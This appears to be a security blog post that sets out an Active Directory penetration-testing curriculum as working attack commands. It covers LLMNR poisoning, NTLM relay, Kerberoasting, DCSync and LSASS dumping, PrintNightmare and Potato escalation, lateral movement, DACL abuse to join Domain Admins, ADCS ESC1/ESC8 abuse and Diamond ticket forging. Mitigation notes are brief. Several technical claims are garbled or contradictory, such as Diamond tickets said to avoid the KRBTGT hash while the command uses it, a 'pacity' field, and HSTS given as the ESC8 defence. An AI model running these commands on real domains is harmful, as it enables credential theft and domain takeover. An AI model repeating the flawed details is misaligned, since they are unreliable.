Listen to this Post
Introduction:
Active Directory (AD) remains the crown jewel of enterprise networks – and its most exploited attack surface. From initial foothold to domain dominance, attackers leverage Kerberos misconfigurations, ACL backdoors, and forged tickets to persist undetected. This article extracts a comprehensive AD penetration testing curriculum, delivering actionable commands, exploitation blueprints, and defensive countermeasures for red teams and security engineers.
Learning Objectives:
- Execute initial AD exploitation techniques including LLMNR poisoning and SMB relay without triggering alerts.
- Forge Golden, Diamond, and Sapphire tickets by abusing KRBTGT hash and Kerberos delegation.
- Enumerate and weaponize DACL misconfigurations using BloodHound and PowerView for privilege escalation.
You Should Know:
- Initial Active Directory Exploitation – LLMNR/NBT-NS Poisoning & SMB Relay
The post’s “Initial Active Directory Exploitation” module starts where attackers gain a foothold on a domain-joined workstation. Link-local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are often enabled by default. When a user mistypes a UNC path, the system broadcasts a name resolution request – which an attacker can spoof.
Step‑by‑step guide (Linux attacker):
- Identify the network segment and confirm LLMNR activity with
responder:sudo responder -I eth0 -dwP
– `-d` enables NetBIOS domain suffix answering
– `-w` starts the WPAD rogue proxy server
– `-P` forces NTLMv2 hash capture -
When a victim attempts to access
\\fake-share, Responder captures an NTLMv2 hash. Crack it with Hashcat:hashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt
-
For SMB relay (instead of hash cracking), use `ntlmrelayx.py` from Impacket to relay credentials to another target (e.g., a file server or domain controller):
sudo ntlmrelayx.py -tf targets.txt -smb2support -c 'whoami > C:\relay.txt'
– `-tf` lists target IPs
– `-c` executes a command on the relayed session -
Windows mitigation: Disable LLMNR and NBT-NS via Group Policy:
`Computer Configuration → Administrative Templates → Network → DNS Client → Turn off multicast name resolution → Enabled`
2. Abusing Kerberos – AS-REP Roasting & Kerberoasting
“Abusing Kerberos” covers two low‑noise privilege escalation paths. Both require no credentials to start.
AS-REP Roasting (users with Kerberos pre‑authentication disabled):
- Enumerate such users using `Get-NetUser` from PowerView (Windows):
Import-Module .\PowerView.ps1 Get-DomainUser -PreauthNotRequired -Properties distinguishedname,userprincipalname
- Request and crack the AS-REP hash (Linux with Impacket):
sudo python3 GetNPUsers.py DOMAIN/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt hashcat -m 18200 asrep_hashes.txt rockyou.txt
Kerberoasting (service accounts with SPNs):
- Extract service account hashes (Windows, Rubeus):
Rubeus.exe kerberoast /outfile:kerb_hashes.txt
- Crack with Hashcat mode 13100:
hashcat -m 13100 kerb_hashes.txt rockyou.txt
Defense: Enforce strong 30+ character passwords on service accounts, and monitor Event ID 4769 for unusual TGS requests.
- Advanced Credential Dumping – DCSync & LSASS Memory
The “Advanced Credential Dumping Attacks” section highlights how attackers extract hashes without touching lsass.exe directly.
DCSync attack (mimics a domain controller to replicate credentials):
- Requires `Replicating Directory Changes` privileges (often over‑assigned to admins).
- Using Mimikatz (Windows admin):
mimikatz.exe "lsadump::dcsync /user:krbtgt" exit
- Or Impacket’s secretsdump (Linux):
sudo secretsdump.py DOMAIN/[email protected] -just-dc
LSASS memory dumping (alternative when DCSync fails):
- Windows: `procdump.exe -ma lsass.exe lsass.dmp` (Sysinternals)
- Then `mimikatz.exe “sekurlsa::minidump lsass.dmp” “sekurlsa::logonpasswords” exit`
Mitigation:
- Restrict DCSync to only essential accounts (Protect‑Users group)
- Enable Windows Defender Credential Guard to virtualize LSASS.
4. Privilege Escalation – PrintNightmare & Potato Family
The curriculum’s “Privilege Escalation Techniques” includes weaponizing Windows print spooler and COM object abuses.
PrintNightmare (CVE‑2021‑34527) – allows a low‑privileged user to install a malicious printer driver and gain SYSTEM:
After obtaining a shell, run SharpPrintNightmare SharpPrintNightmare.exe C:\users\public\malicious.dll \127.0.0.1
Juicy Potato (SeImpersonate privilege):
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami > C:\priv.txt" -t -c {CLSID}
– Replace `{CLSID}` with a CLSID that works on the target Windows version (check with Get-Clsid.ps1)
Defense: Disable the Print Spooler service on non‑print servers, apply KB5004945+ patches, and use Process Monitor to detect `SeImpersonate` abuse.
5. Lateral Movement – WMI, PsExec & WinRM
“Lateral Movement Strategies” moves you from a compromised user to other hosts.
Using PsExec (Sysinternals) with stolen credentials:
psexec.exe \TARGET_IP -u DOMAIN\user -p password cmd.exe
WinRM over PowerShell (more stealthy):
$cred = Get-Credential DOMAIN\user Enter-PSSession -ComputerName TARGET_IP -Credential $cred
WMI for remote command execution (no WinRM required):
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName TARGET_IP -Credential $cred
Linux alternative – CrackMapExec:
crackmapexec smb 192.168.1.0/24 -u user -p password -x "whoami"
6. DACL Abuse – BloodHound & PowerView
“DACL Abuse (New)” teaches attackers to exploit over‑permissive Access Control Entries (ACEs) such as `GenericAll` or WriteDacl.
Step‑by‑step enumeration (Windows):
1. Run SharpHound to collect AD data:
SharpHound.exe -c All --outputdirectory C:\temp
2. Import the zip into BloodHound (Neo4j backend).
- Search for “WriteDacl” edges – a user with `WriteDacl` on a group can grant themselves rights.
- Using PowerView to add yourself to the Domain Admins group via a vulnerable ACE:
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity "attacker_user" -Rights All Add-DomainGroupMember -Identity "Domain Admins" -Member "attacker_user"
Mitigation: Run BloodHound’s “Admin Manager” analysis weekly; remove any `WriteDacl` delegations from non‑privileged accounts.
7. ADCS Attacks – ESC1 to ESC8 (New)
The “ADCS Attacks (New)” module abuses Active Directory Certificate Services misconfigurations.
ESC1 – A certificate template allows any user to request a certificate with client authentication and supply a Subject Alternative Name (SAN) for a privileged account.
Request a certificate as low-priv user, but specify admin's SAN certipy req -ca CA_NAME -template UserSAN -upn [email protected] -dc-ip DC_IP
ESC8 – Web enrollment endpoint allows NTLM relay, leading to domain compromise.
Relay from a compromised machine to the CA's web interface ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support
Defense: Enforce `Manager Approval` on certificate templates, enable HTTP Strict Transport Security (HSTS) on ADCS web interfaces, and disable NTLM on CA servers.
8. Diamond & Sapphire Ticket Attacks
“Sapphire and Diamond Ticket Attacks (New)” are evolutions of the Golden Ticket – they avoid KRBTGT hash by forging legitimate TGTs with known session keys.
Diamond Ticket (requires any valid TGT hash or user hash):
Rubeus.exe diamond /tgtdeleg /ticketuser:administrator /ticketuserid:500 /groups:512 /krbkey:KRBTGT_AES256_HASH /nowrap
Sapphire Ticket – similar but uses the domain’s current AES key without writing to LSASS.
Detection: Monitor for unusual TGS-REQ with Ticket Options `0x40810000` (forwardable, renewable, canonicalize) and anomalies in `pacity` field.
What Undercode Say:
- Key Takeaway 1: AD attacks are 80% configuration failures – from LLMNR left enabled to over‑permissive DACLs. The training’s focus on “DACL Abuse” and “ADCS Attacks” addresses the most overlooked vectors.
- Key Takeaway 2: Kerberos ticket forgeries (Diamond/Sapphire) now bypass traditional Golden Ticket detections. Red teams must shift to behavioral analytics, not just hash monitoring.
Analysis: The listed curriculum mirrors real‑world intrusions observed in LockBit and BlackCat campaigns – initial AD exploitation via Responder, followed by Kerberoasting and DCSync. The inclusion of “Bonus Sessions” suggests hands‑on labs, likely with CrackMapExec and BloodHound. Enterprises should prioritize removing legacy NTLM and implementing Protected Users group. For defenders, every technique above has a Sigma rule (e.g., posh_ps_kerberoast) – but without patching ADCS ESC1 templates, detection remains reactive.
Prediction:
By Q4 2026, ADCS attacks (especially ESC8 NTLM relay) will overtake Kerberoasting as the top initial escalation vector due to the rise of hybrid certificate authorities. Expect tooling like Certipy and PKINITtools to integrate directly with Cobalt Strike. Concurrently, Microsoft will introduce “Golden Ticket telemetry” in Defender for Identity, forcing attackers to rely more on Sapphire tickets and cross‑forest trust abuse. Training courses like this one will pivot to cloud‑aware AD – specifically Entra ID Connect sync poisoning and shadow credentials.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Active Directory – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
